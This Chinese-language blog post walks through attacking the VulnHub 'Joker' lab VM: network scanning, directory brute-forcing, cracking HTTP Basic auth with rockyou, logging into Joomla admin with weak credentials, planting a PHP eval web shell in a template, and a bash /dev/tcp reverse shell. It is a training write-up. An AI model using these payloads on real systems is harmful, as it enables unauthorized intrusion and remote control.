当前位置: 首页 > news >正文

vulhub-joker攻略

靶场下载链接

 https://download.vulnhub.com/ha/joker.zip

 将kali和joker,桥接模式

获取靶场ip

arp-scan -l

使用nmap扫描

nmap -sS -sV -p- 

 访问80端口什么都没有发现

访问8080端口发现

用drib进行目录扫描 

dirb "http://192.168.117.157" -X .txt,php,json,html

访问secret.txt发现

 登录

使用登录,进行抓包

Authorization:后面的是账号密码的base64形式

发送到攻击器 

打开kali自带字典,复制字典一部分,整个复制了最好

爆破时会用到

cd /usr/share/wordlists

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 

cat rockyou.txt

新建一个a.txt将字典复制的放入 

爆破设置

2的时候从文件加载选择a.txt 

 

点击攻击后得到密码 

解码base64

成功登录 

 账号密码弱口令登录,尝试用joomla

点击Site Administrator

因为刚才的弱口令登录成功,所以这个的账号密码都是joomla

 进去后点击Templates

 木马

 选择一个文件编辑

 创建一个新文件编辑,写入一句话木马

 点击左上角保存

<?php @eval($_POST["cmd"]);?>

 蚁剑连接成功

反弹shell

再建立一个a.php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.117.157/6666 0>&1'");?>

使用kali开启对6666端口的监听 

 

 访问http://192.168.117.157:8080/templates/beez3/html/a.php

 kali收到监听消息,反弹shell结束


http://www.mrgr.cn/news/94943.html

相关文章:

  • 7-字符串
  • 【NeurIPS-2022】CodeFormer: 将人脸复原转化为码本预测以减少LQ-HQ映射的不确定性
  • 如何处理和格式化日期差异:JavaScript 日期差异计算实例
  • JavaScript 日期区间计算:全面解析与实战应用
  • 银行数字化转型
  • 【经验】重装OpenCV踩雷
  • 购物车全选功能
  • YOLO11结构
  • Web 小项目: 网页版图书管理系统
  • 我在哪,要去哪
  • Nginx 代理访问一个 Web 界面时缺少内容
  • Java进阶核心技术解析:多线程、集合框架与反射深度实战
  • 较为完善的搜索函数
  • Java零基础入门指南:从环境搭建到面向对象编程的全面解析
  • Android Handler 通过线程安全的 MessageQueue 和底层唤醒机制实现跨线程通信
  • 【机器学习-回归算法】
  • uniapp常用组件
  • Oracle常见系统函数
  • JavaScript基础-获取元素
  • Tomcat、Open Liberty 和 WebSphere Application Server (WAS) 的配置、调试和跟踪